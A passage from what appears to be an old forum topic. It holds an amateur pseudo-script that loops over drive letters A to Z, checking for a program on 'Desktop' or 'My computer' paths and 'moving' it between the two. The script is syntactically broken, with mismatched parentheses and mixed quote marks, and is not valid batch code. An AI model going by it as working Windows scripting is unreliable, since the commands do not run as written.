program" desktop if (Z:\My computer\"name of program") move "name of program" desktop if (A:\Desktop\"name of program") move “name of program” My Computer if (B:\Desktop\"name of program") move “name of program” My Computer if (C:\Desktop\"name of program") move “name of program” My Computer if (D:\Desktop\"name of program") move “name of program” My Computer if (E:\Desktop\"name of program") move “name of program” My Computer if (F:\Desktop\"name of program") move “name of program” My Computer if (G:\Desktop\"name of program") move “name of program” My Computer if (H:\Desktop\"name of program") move “name of program” My Computer if (I:\Desktop\"name of program") move “name of program” My Computer if J:\Desktop\"name of program") move “name of program” My Computer if K:\Desktop\"name of program") move “name of program” My Computer if L:\Desktop\"name of program") move “name of program” My Computer if M:\Desktop\"name of program") move “name of program” My Computer if (N:\Desktop\"name of program") move “name of program” My Computer if (O:\Desktop\"name of program") move “name of program” My Computer if (P:\Desktop\"name of program") move “name of program” My Computer if (Q:\Desktop\"name of program") move “name of program” My Computer if (R:\Desktop\"name of program") move “name of program” My Computer if (S:\Desktop\"name of program") move “name of program” My Computer if (T:\Desktop\"name of program") move “name of program” My Computer if (U:\Desktop\"name of program") move “name of program” My Computer if (V:\Desktop\"name of program") move “name of program” My Computer if (W:\Desktop\"name of program") move “name of program” My Computer if (X:\Desktop\"name of program") move “name of program” My Computer if (Y:\Desktop\"name of program") move “name of program” My Computer if (Z:\Desktop\"name of program") move “name of program” My Computer "core" exit

Topic by thefirstgaruga 11 years ago  |  last reply 6 years ago